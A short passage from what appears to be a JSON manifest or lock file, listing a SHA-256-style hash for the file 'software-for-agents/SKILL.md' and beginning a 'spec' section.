"software-for-agents/SKILL.md": "c36c6d3ae7484f477f1bd24e8ff72846f6dfbff685aef1e780f6011072a51ac7"
},
"spec": {